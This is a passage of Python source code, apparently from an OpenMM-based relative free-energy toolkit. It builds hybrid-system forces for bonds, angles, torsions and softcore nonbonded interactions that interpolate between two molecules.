linearly interpolate spring constant energy_expression += 'K = (1.0-lambda_angles)*K_1 + lambda_angles*K_2;' # linearly interpolate equilibrium angle energy_expression += 'theta0 = (1.0-lambda_angles)*theta0_1 + lambda_angles*theta0_2;' # Create the force and add relevant parameters custom_core_force = openmm.CustomAngleForce(energy_expression) # molecule1 equilibrium angle custom_core_force.addPerAngleParameter('theta0_1') # molecule1 spring constant custom_core_force.addPerAngleParameter('K_1') # molecule2 equilibrium angle custom_core_force.addPerAngleParameter('theta0_2') # molecule2 spring constant custom_core_force.addPerAngleParameter('K_2') custom_core_force.addGlobalParameter('lambda_angles', 0.0) # Add the force to the system and the force dict. self._hybrid_system.addForce(custom_core_force) self._hybrid_system_forces['core_angle_force'] = custom_core_force # Add an angle term for environment/unique interactions -- these are # never scaled standard_angle_force = openmm.HarmonicAngleForce() self._hybrid_system.addForce(standard_angle_force) self._hybrid_system_forces['standard_angle_force'] = standard_angle_force def _add_torsion_force_terms(self): """ This function adds the appropriate PeriodicTorsionForce terms to the system. Core torsions are interpolated, while environment and unique torsions are always on. Notes ----- * User defined functions have been removed for now. * Options for add_custom_core_force (default True) and add_unique_atom_torsion_force (default True) have been removed for now. """ energy_expression = '(1-lambda_torsions)*U1 + lambda_torsions*U2;' energy_expression += 'U1 = K1*(1+cos(periodicity1*theta-phase1));' energy_expression += 'U2 = K2*(1+cos(periodicity2*theta-phase2));' # Create the force and add the relevant parameters custom_core_force = openmm.CustomTorsionForce(energy_expression) # molecule1 periodicity custom_core_force.addPerTorsionParameter('periodicity1') # molecule1 phase custom_core_force.addPerTorsionParameter('phase1') # molecule1 spring constant custom_core_force.addPerTorsionParameter('K1') # molecule2 periodicity custom_core_force.addPerTorsionParameter('periodicity2') # molecule2 phase custom_core_force.addPerTorsionParameter('phase2') # molecule2 spring constant custom_core_force.addPerTorsionParameter('K2') custom_core_force.addGlobalParameter('lambda_torsions', 0.0) # Add the force to the system self._hybrid_system.addForce(custom_core_force) self._hybrid_system_forces['custom_torsion_force'] = custom_core_force # Create and add the torsion term for unique/environment atoms unique_atom_torsion_force = openmm.PeriodicTorsionForce() self._hybrid_system.addForce(unique_atom_torsion_force) self._hybrid_system_forces['unique_atom_torsion_force'] = unique_atom_torsion_force @staticmethod def _nonbonded_custom(v2): """ Get a part of the nonbonded energy expression when there is no cutoff. Parameters ---------- v2 : bool Whether to use the softcore methods as defined by Gapsys et al. JCTC 2012. Returns ------- sterics_energy_expression : str The energy expression for U_sterics electrostatics_energy_expression : str The energy expression for electrostatics TODO ---- * Move to a dictionary or equivalent. """ # Soft-core Lennard-Jones if v2: sterics_energy_expression = "U_sterics = select(step(r - r_LJ), 4*epsilon*x*(x-1.0), U_sterics_quad);" sterics_energy_expression += "U_sterics_quad = Force*(((r - r_LJ)^2)/2 - (r - r_LJ)) + U_sterics_cut;" sterics_energy_expression += "U_sterics_cut = 4*epsilon*((sigma/r_LJ)^6)*(((sigma/r_LJ)^6) - 1.0);" sterics_energy_expression += "Force = -4*epsilon*((-12*sigma^12)/(r_LJ^13) + (6*sigma^6)/(r_LJ^7));" sterics_energy_expression += "x = (sigma/r)^6;" sterics_energy_expression += "r_LJ = softcore_alpha*((26/7)*(sigma^6)*lambda_sterics_deprecated)^(1/6);" sterics_energy_expression += "lambda_sterics_deprecated = new_interaction*(1.0 - lambda_sterics_insert) + old_interaction*lambda_sterics_delete;" else: sterics_energy_expression = "U_sterics = 4*epsilon*x*(x-1.0); x = (sigma/reff_sterics)^6;" return sterics_energy_expression @staticmethod def _nonbonded_custom_sterics_common(): """ Get a custom sterics expression using amber softcore expression Returns ------- sterics_addition : str The common softcore sterics energy expression TODO ---- * Move to a dictionary or equivalent. """ # interpolation sterics_addition = "epsilon = (1-lambda_sterics)*epsilonA + lambda_sterics*epsilonB;" # effective softcore distance for sterics sterics_addition += "reff_sterics = sigma*((softcore_alpha*lambda_alpha + (r/sigma)^6))^(1/6);" sterics_addition += "sigma = (1-lambda_sterics)*sigmaA + lambda_sterics*sigmaB;" sterics_addition += "lambda_alpha = new_interaction*(1-lambda_sterics_insert) + old_interaction*lambda_sterics_delete;" sterics_addition += "lambda_sterics = core_interaction*lambda_sterics_core + new_interaction*lambda_sterics_insert + old_interaction*lambda_sterics_delete;" sterics_addition += "core_interaction = delta(unique_old1+unique_old2+unique_new1+unique_new2);new_interaction = max(unique_new1, unique_new2);old_interaction = max(unique_old1, unique_old2);" return sterics_addition @staticmethod def _nonbonded_custom_mixing_rules(): """ Mixing rules for the custom nonbonded force. Returns ------- sterics_mixing_rules : str The mixing expression for sterics electrostatics_mixing_rules : str The mixiing rules for electrostatics TODO ---- * Move to a dictionary or equivalent. """ # Define mixing rules. # mixing rule for epsilon sterics_mixing_rules = "epsilonA = sqrt(epsilonA1*epsilonA2);" # mixing rule for epsilon sterics_mixing_rules += "epsilonB = sqrt(epsilonB1*epsilonB2);" # mixing rule for sigma sterics_mixing_rules += "sigmaA = 0.5*(sigmaA1 + sigmaA2);" # mixing rule for sigma sterics_mixing_rules += "sigmaB = 0.5*(sigmaB1 + sigmaB2);" return sterics_mixing_rules @staticmethod def _translate_nonbonded_method_to_custom(standard_nonbonded_method): """ Utility function to translate the nonbonded method enum from the standard nonbonded force to the custom version `CutoffPeriodic`, `PME`, and `Ewald` all become `CutoffPeriodic`; `NoCutoff` becomes `NoCutoff`; `CutoffNonPeriodic` becomes `CutoffNonPeriodic` Parameters ---------- standard_nonbonded_method : openmm.NonbondedForce.NonbondedMethod the nonbonded method of the standard force Returns ------- custom_nonbonded_method : openmm.CustomNonbondedForce.NonbondedMethod the nonbonded method for the equivalent customnonbonded force """ if standard_nonbonded_method in [openmm.NonbondedForce.CutoffPeriodic, openmm.NonbondedForce.PME, openmm.NonbondedForce.Ewald]: return openmm.CustomNonbondedForce.CutoffPeriodic elif standard_nonbonded_method == openmm.NonbondedForce.NoCutoff: return openmm.CustomNonbondedForce.NoCutoff elif standard_nonbonded_method == openmm.NonbondedForce.CutoffNonPeriodic: return openmm.CustomNonbondedForce.CutoffNonPeriodic else: errmsg = "This nonbonded method is not supported." raise NotImplementedError(errmsg) def _add_nonbonded_force_terms(self): """ Add the nonbonded force terms to the hybrid system. Note that as with the other forces, this method does not add any interactions. It only sets up the forces. Notes ----- * User defined functions have been removed for now. * Argument `add_custom_sterics_force` (default True) has been removed for now. TODO ---- * Move nonbonded_method defn here to avoid just setting it globally and polluting `self`. """ # Add a regular nonbonded force for all interactions that are not # changing. standard_nonbonded_force = openmm.NonbondedForce() self._hybrid_system.addForce(standard_nonbonded_force) self._hybrid_system_forces['standard_nonbonded_force'] = standard_nonbonded_force # Create a CustomNonbondedForce to handle alchemically interpolated # nonbonded parameters. # Select functional form based on nonbonded method. # TODO: check _nonbonded_custom_ewald and _nonbonded_custom_cutoff # since they take arguments that are never used... if self._nonbonded_method in [openmm.NonbondedForce.NoCutoff]: sterics_energy_expression = self._nonbonded_custom( self._softcore_LJ_v2) elif self._nonbonded_method in [openmm.NonbondedForce.CutoffPeriodic, openmm.NonbondedForce.CutoffNonPeriodic]: epsilon_solvent = self._old_system_forces['NonbondedForce'].getReactionFieldDielectric() r_cutoff = self._old_system_forces['NonbondedForce'].getCutoffDistance() sterics_energy_expression = self._nonbonded_custom( self._softcore_LJ_v2) standard_nonbonded_force.setReactionFieldDielectric( epsilon_solvent) standard_nonbonded_force.setCutoffDistance(r_cutoff) elif self._nonbonded_method in [openmm.NonbondedForce.PME, openmm.NonbondedForce.Ewald]: [alpha_ewald, nx, ny, nz] = self._old_system_forces['NonbondedForce'].getPMEParameters() delta = self._old_system_forces['NonbondedForce'].getEwaldErrorTolerance() r_cutoff = self._old_system_forces['NonbondedForce'].getCutoffDistance() sterics_energy_expression = self._nonbonded_custom( self._softcore_LJ_v2) standard_nonbonded_force.setPMEParameters(alpha_ewald, nx, ny, nz) standard_nonbonded_force.setEwaldErrorTolerance(delta) standard_nonbonded_force.setCutoffDistance(r_cutoff) else: errmsg = f"Nonbonded method {self._nonbonded_method} not supported" raise ValueError(errmsg) standard_nonbonded_force.setNonbondedMethod(self._nonbonded_method) sterics_energy_expression += self._nonbonded_custom_sterics_common() sterics_mixing_rules = self._nonbonded_custom_mixing_rules() custom_nonbonded_method = self._translate_nonbonded_method_to_custom( self._nonbonded_method) total_sterics_energy = "U_sterics;" + sterics_energy_expression + sterics_mixing_rules sterics_custom_nonbonded_force = openmm.CustomNonbondedForce( total_sterics_energy) if self._softcore_LJ_v2: sterics_custom_nonbonded_force.addGlobalParameter( "softcore_alpha", self._softcore_LJ_v2_alpha) else: sterics_custom_nonbonded_force.addGlobalParameter( "softcore_alpha", self._softcore_alpha) # Lennard-Jones sigma initial sterics_custom_nonbonded_force.addPerParticleParameter("sigmaA") # Lennard-Jones epsilon initial sterics_custom_nonbonded_force.addPerParticleParameter("epsilonA") # Lennard-Jones sigma final sterics_custom_nonbonded_force.addPerParticleParameter("sigmaB") # Lennard-Jones epsilon final sterics_custom_nonbonded_force.addPerParticleParameter("epsilonB") # 1 = hybrid old atom, 0 otherwise sterics_custom_nonbonded_force.addPerParticleParameter("unique_old") # 1 = hybrid new atom, 0 otherwise sterics_custom_nonbonded_force.addPerParticleParameter("unique_new") sterics_custom_nonbonded_force.addGlobalParameter( "lambda_sterics_core", 0.0) sterics_custom_nonbonded_force.addGlobalParameter( "lambda_electrostatics_core", 0.0) sterics_custom_nonbonded_force.addGlobalParameter( "lambda_sterics_insert", 0.0) sterics_custom_nonbonded_force.addGlobalParameter( "lambda_sterics_delete", 0.0) sterics_custom_nonbonded_force.setNonbondedMethod( custom_nonbonded_method) self._hybrid_system.addForce(sterics_custom_nonbonded_force) self._hybrid_system_forces['core_sterics_force'] = sterics_custom_nonbonded_force # Set the use of dispersion correction to be the same between the new # nonbonded force and the old one: if self._old_system_forces['NonbondedForce'].getUseDispersionCorrection(): self._hybrid_system_forces['standard_nonbonded_force'].setUseDispersionCorrection(True) if self._use_dispersion_correction: sterics_custom_nonbonded_force.setUseLongRangeCorrection(True) else: self._hybrid_system_forces['standard_nonbonded_force'].setUseDispersionCorrection(False) if self._old_system_forces['NonbondedForce'].getUseSwitchingFunction(): switching_distance = self._old_system_forces['NonbondedForce'].getSwitchingDistance() standard_nonbonded_force.setUseSwitchingFunction(True) standard_nonbonded_force.setSwitchingDistance(switching_distance) sterics_custom_nonbonded_force.setUseSwitchingFunction(True) sterics_custom_nonbonded_force.setSwitchingDistance(switching_distance) else: standard_nonbonded_force.setUseSwitchingFunction(False) sterics_custom_nonbonded_force.setUseSwitchingFunction(False) @staticmethod def _find_bond_parameters(bond_force, index1, index2): """ This is a convenience function to find bond parameters in another system given the two indices. Parameters ---------- bond_force : openmm.HarmonicBondForce The bond force where the parameters should be found index1 : int Index1 (order does not matter) of the bond atoms index2 : int Index2 (order does not matter) of the bond atoms Returns ------- bond_parameters : list List of relevant bond parameters """ index_set = {index1, index2} # Loop through all the bonds: for bond_index in range(bond_force.getNumBonds()): parms = bond_force.getBondParameters(bond_index) if index_set == {parms[0], parms[1]}: return parms return [] def _handle_harmonic_bonds(self): """ This method adds the appropriate interaction for all bonds in the hybrid system. The scheme used is: 1) If the two atoms are both in the core, then we add to the CustomBondForce and interpolate between the two parameters 2) If one of the atoms is in core and the other is environment, we have to assert that the bond parameters do not change between the old and the new system; then, the parameters are added to the regular bond force 3) Otherwise, we add the bond to a regular bond force. Notes ----- * Bond softening logic has been removed for now. """ old_system_bond_force = self._old_system_forces['HarmonicBondForce'] new_system_bond_force = self._new_system_forces['HarmonicBondForce'] # First, loop through the old system bond forces and add relevant terms for bond_index in range(old_system_bond_force.getNumBonds()): # Get each set of bond parameters [index1_old, index2_old, r0_old, k_old] = old_system_bond_force.getBondParameters(bond_index) # Map the indices to the hybrid system, for which our atom classes # are defined. index1_hybrid = self._old_to_hybrid_map[index1_old] index2_hybrid = self._old_to_hybrid_map[index2_old] index_set = {index1_hybrid, index2_hybrid} # Now check if it is a subset of the core atoms (that is, both # atoms are in the core) # If it is, we need to find the parameters in the old system so # that we can interpolate if index_set.issubset(self._atom_classes['core_atoms']): index1_new = self._old_to_new_map[index1_old] index2_new = self._old_to_new_map[index2_old] new_bond_parameters = self._find_bond_parameters( new_system_bond_force, index1_new, index2_new) if not new_bond_parameters: r0_new = r0_old k_new = 0.0*unit.kilojoule_per_mole/unit.angstrom**2 else: # TODO - why is this being recalculated? [index1, index2, r0_new, k_new] = self._find_bond_parameters( new_system_bond_force, index1_new, index2_new) self._hybrid_system_forces['core_bond_force'].addBond( index1_hybrid, index2_hybrid, [r0_old, k_old, r0_new, k_new]) # Check if the index set is a subset of anything besides # environment (in the case of environment, we just add the bond to # the regular bond force) # that would mean that this bond is core-unique_old or # unique_old-unique_old # NOTE - These are currently all the same because we don't soften # TODO - work these out somewhere else, this is terribly difficult # to understand logic. elif (index_set.issubset(self._atom_classes['unique_old_atoms']) or (len(index_set.intersection(self._atom_classes['unique_old_atoms'])) == 1 and len(index_set.intersection(self._atom_classes['core_atoms'])) == 1)): # We can just add it to the regular bond force. self._hybrid_system_forces['standard_bond_force'].addBond( index1_hybrid, index2_hybrid, r0_old, k_old) elif (len(index_set.intersection(self._atom_classes['environment_atoms'])) == 1 and len(index_set.intersection(self._atom_classes['core_atoms'])) == 1): self._hybrid_system_forces['standard_bond_force'].addBond( index1_hybrid, index2_hybrid, r0_old, k_old) # Otherwise, we just add the same parameters as those in the old # system (these are environment atoms, and the parameters are the # same) elif index_set.issubset(self._atom_classes['environment_atoms']): self._hybrid_system_forces['standard_bond_force'].addBond( index1_hybrid, index2_hybrid, r0_old, k_old) else: errmsg = (f"hybrid index set {index_set} does not fit into a " "canonical atom type") raise ValueError(errmsg) # Now loop through the new system to get the interactions that are # unique to it. for bond_index in range(new_system_bond_force.getNumBonds()): # Get each set of bond parameters [index1_new, index2_new, r0_new, k_new] = new_system_bond_force.getBondParameters(bond_index) # Convert indices to hybrid, since that is how we represent atom classes: index1_hybrid = self._new_to_hybrid_map[index1_new] index2_hybrid = self._new_to_hybrid_map[index2_new] index_set = {index1_hybrid, index2_hybrid} # If the intersection of this set and unique new atoms contains # anything, the bond is unique to the new system and must be added # all other bonds in the new system have been accounted for already # NOTE - These are mostly all the same because we don't soften if (len(index_set.intersection(self._atom_classes['unique_new_atoms'])) == 2 or (len(index_set.intersection(self._atom_classes['unique_new_atoms'])) == 1 and len(index_set.intersection(self._atom_classes['core_atoms'])) == 1)): # If we aren't softening bonds, then just add it to the standard bond force self._hybrid_system_forces['standard_bond_force'].addBond( index1_hybrid, index2_hybrid, r0_new, k_new) # If the bond is in the core, it has probably already been added # in the above loop. However, there are some circumstances # where it was not (closing a ring). In that case, the bond has # not been added and should be added here. # This has some peculiarities to be discussed... # TODO - Work out what the above peculiarities are... elif index_set.issubset(self._atom_classes['core_atoms']): if not self._find_bond_parameters( self._hybrid_system_forces['core_bond_force'], index1_hybrid, index2_hybrid): r0_old = r0_new k_old = 0.0*unit.kilojoule_per_mole/unit.angstrom**2 self._hybrid_system_forces['core_bond_force'].addBond( index1_hybrid, index2_hybrid, [r0_old, k_old, r0_new, k_new]) elif index_set.issubset(self._atom_classes['environment_atoms']): # Already been added pass elif (len(index_set.intersection(self._atom_classes['environment_atoms'])) == 1 and len(index_set.intersection(self._atom_classes['core_atoms'])) == 1): pass else: errmsg = (f"hybrid index set {index_set} does not fit into a " "canonical atom type") raise ValueError(errmsg) @staticmethod def _find_angle_parameters(angle_force, indices): """ Convenience function to find the angle parameters corresponding to a particular set of indices Parameters ---------- angle_force : openmm.HarmonicAngleForce The force where the angle of interest may be found. indices : list of int The indices (any order) of the angle atoms Returns ------- angle_params : list list of angle parameters """ indices_reversed = indices[::-1] # Now loop through and try to find the angle: for angle_index in range(angle_force.getNumAngles()): angle_params = angle_force.getAngleParameters(angle_index) # Get a set representing the angle indices angle_param_indices = angle_params[:3] if (indices == angle_param_indices or indices_reversed == angle_param_indices): return angle_params return [] # Return empty if no matching angle found def _handle_harmonic_angles(self): """ This method adds the appropriate interaction for all angles in the hybrid system. The scheme used, as with bonds, is: 1) If the three atoms are all in the core, then we add to the CustomAngleForce and interpolate between the two parameters 2) If the three atoms contain at least one unique new, check if the angle is in the neglected new list, and if so, interpolate from K_1 = 0; else, if the three atoms contain at least one unique old, check if the angle is in the neglected old list, and if so, interpolate from K_2 = 0. 3) If the angle contains at least one environment and at least one core atom, assert there are no unique new atoms and that the angle terms are preserved between the new and the old system. Then add to the standard angle force. 4) Otherwise, we add the angle to a regular angle force since it is environment. Notes ----- * Removed softening and neglected angle functionality """ old_system_angle_force = self._old_system_forces['HarmonicAngleForce'] new_system_angle_force = self._new_system_forces['HarmonicAngleForce'] # First, loop through all the angles in the old system to determine # what to do with them. We will only use the # custom angle force if all atoms are part of "core." Otherwise, they # are either unique to one system or never change. for angle_index in range(old_system_angle_force.getNumAngles()): old_angle_parameters = old_system_angle_force.getAngleParameters( angle_index) # Get the indices in the hybrid system hybrid_index_list = [ self._old_to_hybrid_map[old_atomid] for old_atomid in old_angle_parameters[:3] ] hybrid_index_set = set(hybrid_index_list) # If all atoms are in the core, we'll need to find the # corresponding parameters in the old system and interpolate if hybrid_index_set.issubset(self._atom_classes['core_atoms']): # Get the new indices so we can get the new angle parameters new_indices = [ self._old_to_new_map[old_atomid] for old_atomid in old_angle_parameters[:3] ] new_angle_parameters = self._find_angle_parameters( new_system_angle_force, new_indices ) if not new_angle_parameters: new_angle_parameters = [ 0, 0, 0, old_angle_parameters[3], 0.0*unit.kilojoule_per_mole/unit.radian**2 ] # Add to the hybrid force: # the parameters at indices 3 and 4 represent theta0 and k, # respectively. hybrid_force_parameters = [ old_angle_parameters[3], old_angle_parameters[4], new_angle_parameters[3], new_angle_parameters[4] ] self._hybrid_system_forces['core_angle_force'].addAngle( hybrid_index_list[0], hybrid_index_list[1], hybrid_index_list[2], hybrid_force_parameters ) # Check if the atoms are neither all core nor all environment, # which would mean they involve unique old interactions elif not hybrid_index_set.issubset( self._atom_classes['environment_atoms']): # if there is an environment atom if hybrid_index_set.intersection( self._atom_classes['environment_atoms']): if hybrid_index_set.intersection( self._atom_classes['unique_old_atoms']): errmsg = "we disallow unique-environment terms" raise ValueError(errmsg) self._hybrid_system_forces['standard_angle_force'].addAngle( hybrid_index_list[0], hybrid_index_list[1], hybrid_index_list[2], old_angle_parameters[3], old_angle_parameters[4] ) else: # There are no env atoms, so we can treat this term # appropriately # We don't soften so just add this to the standard angle # force self._hybrid_system_forces['standard_angle_force'].addAngle( hybrid_index_list[0], hybrid_index_list[1], hybrid_index_list[2], old_angle_parameters[3], old_angle_parameters[4] ) # Otherwise, only environment atoms are in this interaction, so # add it to the standard angle force elif hybrid_index_set.issubset( self._atom_classes['environment_atoms']): self._hybrid_system_forces['standard_angle_force'].addAngle( hybrid_index_list[0], hybrid_index_list[1], hybrid_index_list[2], old_angle_parameters[3], old_angle_parameters[4] ) else: errmsg = (f"handle_harmonic_angles: angle_index {angle_index} " "does not fit a canonical form.") raise ValueError(errmsg) # Finally, loop through the new system force to add any unique new # angles for angle_index in range(new_system_angle_force.getNumAngles()): new_angle_parameters = new_system_angle_force.getAngleParameters( angle_index) # Get the indices in the hybrid system hybrid_index_list = [ self._new_to_hybrid_map[new_atomid] for new_atomid in new_angle_parameters[:3] ] hybrid_index_set = set(hybrid_index_list) # If the intersection of this hybrid set with the unique new atoms # is nonempty, it must be added: # TODO - there's a ton of len > 0 on sets, empty sets == False, # so we can simplify this logic. if len(hybrid_index_set.intersection( self._atom_classes['unique_new_atoms'])) > 0: if hybrid_index_set.intersection( self._atom_classes['environment_atoms']): errmsg = ("we disallow angle terms with unique new and " "environment atoms") raise ValueError(errmsg) # Not softening just add to the nonalchemical force self._hybrid_system_forces['standard_angle_force'].addAngle( hybrid_index_list[0], hybrid_index_list[1], hybrid_index_list[2], new_angle_parameters[3], new_angle_parameters[4] ) elif hybrid_index_set.issubset(self._atom_classes['core_atoms']): if not self._find_angle_parameters(self._hybrid_system_forces['core_angle_force'], hybrid_index_list): hybrid_force_parameters = [ new_angle_parameters[3], 0.0*unit.kilojoule_per_mole/unit.radian**2, new_angle_parameters[3], new_angle_parameters[4] ] self._hybrid_system_forces['core_angle_force'].addAngle( hybrid_index_list[0], hybrid_index_list[1], hybrid_index_list[2], hybrid_force_parameters ) elif hybrid_index_set.issubset(self._atom_classes['environment_atoms']): # We have already added the appropriate environmental atom # terms pass elif hybrid_index_set.intersection(self._atom_classes['environment_atoms']): if hybrid_index_set.intersection(self._atom_classes['unique_new_atoms']): errmsg = ("we disallow angle terms with unique new and " "environment atoms") raise ValueError(errmsg) else: errmsg = (f"hybrid index list {hybrid_index_list} does not " "fit into a canonical atom set") raise ValueError(errmsg) @staticmethod def _find_torsion_parameters(torsion_force, indices): """ Convenience function to find the torsion parameters corresponding to a particular set of indices. Parameters ---------- torsion_force : openmm.PeriodicTorsionForce torsion force where the torsion of interest may be found indices : list of int The indices of the atoms of the torsion Returns ------- torsion_parameters : list torsion parameters """ indices_reversed = indices[::-1] torsion_params_list = list() # Now loop through and try to find the torsion: for torsion_idx in range(torsion_force.getNumTorsions()): torsion_params = torsion_force.getTorsionParameters(torsion_idx) # Get a set representing the torsion indices: torsion_param_indices = torsion_params[:4] if (indices == torsion_param_indices or indices_reversed == torsion_param_indices): torsion_params_list.append(torsion_params) return torsion_params_list def _handle_periodic_torsion_force(self): """ Handle the torsions defined in the new and old systems as such: 1. old system torsions will enter the ``custom_torsion_force`` if they do not contain ``unique_old_atoms`` and will interpolate from ``on`` to ``off`` from ``lambda_torsions`` = 0 to 1, respectively. 2. new system torsions will enter the ``custom_torsion_force`` if they do not contain ``unique_new_atoms`` and will interpolate from ``off`` to ``on`` from ``lambda_torsions`` = 0 to 1, respectively. 3. old *and* new system torsions will enter the ``unique_atom_torsion_force`` (``standard_torsion_force``) and will *not* be interpolated. Notes ----- * Torsion flattening logic has been removed for now. """ old_system_torsion_force = self._old_system_forces['PeriodicTorsionForce'] new_system_torsion_force = self._new_system_forces['PeriodicTorsionForce'] auxiliary_custom_torsion_force = [] old_custom_torsions_to_standard = [] # We need to keep track of what torsions we added so that we do not # double count # added_torsions = [] # TODO: Commented out since this actually isn't being done anywhere? # Is it necessary? Should we add this logic back in? for torsion_index in range(old_system_torsion_force.getNumTorsions()): torsion_parameters = old_system_torsion_force.getTorsionParameters( torsion_index) # Get the indices in the hybrid system hybrid_index_list = [ self._old_to_hybrid_map[old_index] for old_index in torsion_parameters[:4] ] hybrid_index_set = set(hybrid_index_list) # If all atoms are in the core, we'll need to find the # corresponding parameters in the old system and interpolate if hybrid_index_set.intersection(self._atom_classes['unique_old_atoms']): # Then it goes to a standard force... self._hybrid_system_forces['unique_atom_torsion_force'].addTorsion( hybrid_index_list[0], hybrid_index_list[1], hybrid_index_list[2], hybrid_index_list[3], torsion_parameters[4], torsion_parameters[5], torsion_parameters[6] ) else: # It is a core-only term, an environment-only term, or a # core/env term; in any case, it goes to the core torsion_force # TODO - why are we even adding the 0.0, 0.0, 0.0 section? hybrid_force_parameters = [ torsion_parameters[4], torsion_parameters[5], torsion_parameters[6], 0.0, 0.0, 0.0 ] auxiliary_custom_torsion_force.append( [hybrid_index_list[0], hybrid_index_list[1], hybrid_index_list[2], hybrid_index_list[3], hybrid_force_parameters[:3]] ) for torsion_index in range(new_system_torsion_force.getNumTorsions()): torsion_parameters = new_system_torsion_force.getTorsionParameters(torsion_index) # Get the indices in the hybrid system: hybrid_index_list = [ self._new_to_hybrid_map[new_index] for new_index in torsion_parameters[:4]] hybrid_index_set = set(hybrid_index_list) if hybrid_index_set.intersection(self._atom_classes['unique_new_atoms']): # Then it goes to the custom torsion force (scaled to zero) self._hybrid_system_forces['unique_atom_torsion_force'].addTorsion( hybrid_index_list[0], hybrid_index_list[1], hybrid_index_list[2], hybrid_index_list[3], torsion_parameters[4], torsion_parameters[5], torsion_parameters[6] ) else: hybrid_force_parameters = [ 0.0, 0.0, 0.0, torsion_parameters[4], torsion_parameters[5], torsion_parameters[6]] # Check to see if this term is in the olds... term = [hybrid_index_list[0], hybrid_index_list[1], hybrid_index_list[2], hybrid_index_list[3], hybrid_force_parameters[3:]] if term in auxiliary_custom_torsion_force: # Then this terms has to go to standard and be deleted... old_index = auxiliary_custom_torsion_force.index(term) old_custom_torsions_to_standard.append(old_index) self._hybrid_system_forces['unique_atom_torsion_force'].addTorsion( hybrid_index_list[0], hybrid_index_list[1], hybrid_index_list[2], hybrid_index_list[3], torsion_parameters[4], torsion_parameters[5], torsion_parameters[6] ) else: # Then this term has to go to the core force... self._hybrid_system_forces['custom_torsion_force'].addTorsion( hybrid_index_list[0], hybrid_index_list[1], hybrid_index_list[2], hybrid_index_list[3], hybrid_force_parameters ) # Now we have to loop through the aux custom torsion force for index in [q for q in range(len(auxiliary_custom_torsion_force)) if q not in old_custom_torsions_to_standard]: terms = auxiliary_custom_torsion_force[index] hybrid_index_list = terms[:4] hybrid_force_parameters = terms[4] + [0., 0., 0.] self._hybrid_system_forces['custom_torsion_force'].addTorsion( hybrid_index_list[0], hybrid_index_list[1], hybrid_index_list[2], hybrid_index_list[3], hybrid_force_parameters ) def _handle_nonbonded(self): """ Handle the nonbonded interactions defined in the new and old systems. TODO ---- * Expand this docstring to explain the logic. * A lot of this logic is duplicated, probably turn it into a couple of functions. """ def _check_indices(idx1, idx2): if idx1 != idx2: errmsg = ("Attempting to add incorrect particle to hybrid " "system") raise ValueError(errmsg) old_system_nonbonded_force = self._old_system_forces['NonbondedForce'] new_system_nonbonded_force = self._new_system_forces['NonbondedForce'] hybrid_to_old_map = self._hybrid_to_old_map hybrid_to_new_map = self._hybrid_to_new_map # Define new global parameters for NonbondedForce self._hybrid_system_forces['standard_nonbonded_force'].addGlobalParameter('lambda_electrostatics_core', 0.0) self._hybrid_system_forces['standard_nonbonded_force'].addGlobalParameter('lambda_sterics_core', 0.0) self._hybrid_system_forces['standard_nonbonded_force'].addGlobalParameter("lambda_electrostatics_delete", 0.0) self._hybrid_system_forces['standard_nonbonded_force'].addGlobalParameter("lambda_electrostatics_insert", 0.0) # We have to loop through the particles in the system, because # nonbonded force does not accept index for particle_index in range(self._hybrid_system.getNumParticles()): if particle_index in self._atom_classes['unique_old_atoms']: # Get the parameters in the old system old_index = hybrid_to_old_map[particle_index] [charge, sigma, epsilon] = old_system_nonbonded_force.getParticleParameters(old_index) # Add the particle to the hybrid custom sterics and # electrostatics. # turning off sterics in forward direction check_index = self._hybrid_system_forces['core_sterics_force'].addParticle( [sigma, epsilon, sigma, 0.0*epsilon, 1, 0] ) _check_indices(particle_index, check_index) # Add particle to the regular nonbonded force, but # Lennard-Jones will be handled by CustomNonbondedForce check_index = self._hybrid_system_forces['standard_nonbonded_force'].addParticle( charge, sigma, 0.0*epsilon ) _check_indices(particle_index, check_index) # Charge will be turned off at # lambda_electrostatics_delete = 0, on at # lambda_electrostatics_delete = 1; kill charge with # lambda_electrostatics_delete = 0 --> 1 self._hybrid_system_forces['standard_nonbonded_force'].addParticleParameterOffset( 'lambda_electrostatics_delete', particle_index, -charge, 0*sigma, 0*epsilon ) elif particle_index in self._atom_classes['unique_new_atoms']: # Get the parameters in the new system new_index = hybrid_to_new_map[particle_index] [charge, sigma, epsilon] = new_system_nonbonded_force.getParticleParameters(new_index) # Add the particle to the hybrid custom sterics and electrostatics # turning on sterics in forward direction check_index = self._hybrid_system_forces['core_sterics_force'].addParticle( [sigma, 0.0*epsilon, sigma, epsilon, 0, 1] ) _check_indices(particle_index, check_index) # Add particle to the regular nonbonded force, but # Lennard-Jones will be handled by CustomNonbondedForce check_index = self._hybrid_system_forces['standard_nonbonded_force'].addParticle( 0.0, sigma, 0.0 ) # charge starts at zero _check_indices(particle_index, check_index) # Charge will be turned off at lambda_electrostatics_insert = 0 # on at lambda_electrostatics_insert = 1; # add charge with lambda_electrostatics_insert = 0 --> 1 self._hybrid_system_forces['standard_nonbonded_force'].addParticleParameterOffset( 'lambda_electrostatics_insert', particle_index, +charge, 0, 0 ) elif particle_index in self._atom_classes['core_atoms']: # Get the parameters in the new and old systems: old_index = hybrid_to_old_map[particle_index] [charge_old, sigma_old, epsilon_old] = old_system_nonbonded_force.getParticleParameters(old_index) new_index = hybrid_to_new_map[particle_index] [charge_new, sigma_new, epsilon_new] = new_system_nonbonded_force.getParticleParameters(new_index) # Add the particle to the custom forces, interpolating between # the two parameters; add steric params and zero electrostatics # to core_sterics per usual check_index = self._hybrid_system_forces['core_sterics_force'].addParticle( [sigma_old, epsilon_old, sigma_new, epsilon_new, 0, 0]) _check_indices(particle_index, check_index) # Still add the particle to the regular nonbonded force, but # with zeroed out parameters; add old charge to # standard_nonbonded and zero sterics check_index = self._hybrid_system_forces['standard_nonbonded_force'].addParticle( charge_old, 0.5*(sigma_old+sigma_new), 0.0) _check_indices(particle_index, check_index) # Charge is charge_old at lambda_electrostatics = 0, # charge_new at lambda_electrostatics = 1 # TODO: We could also interpolate the Lennard-Jones here # instead of core_sterics force so that core_sterics_force # could just be softcore. # Interpolate between old and new charge with # lambda_electrostatics core make sure to keep sterics off self._hybrid_system_forces['standard_nonbonded_force'].addParticleParameterOffset( 'lambda_electrostatics_core', particle_index, (charge_new - charge_old), 0, 0 ) # Otherwise, the particle is in the environment else: # The parameters will be the same in new and old system, so # just take the old parameters old_index = hybrid_to_old_map[particle_index] [charge, sigma, epsilon] = old_system_nonbonded_force.getParticleParameters(old_index) # Add the particle to the hybrid custom sterics, but they dont # change; electrostatics are ignored self._hybrid_system_forces['core_sterics_force'].addParticle( [sigma, epsilon, sigma, epsilon, 0, 0] ) # Add the environment atoms to the regular nonbonded force as # well: should we be 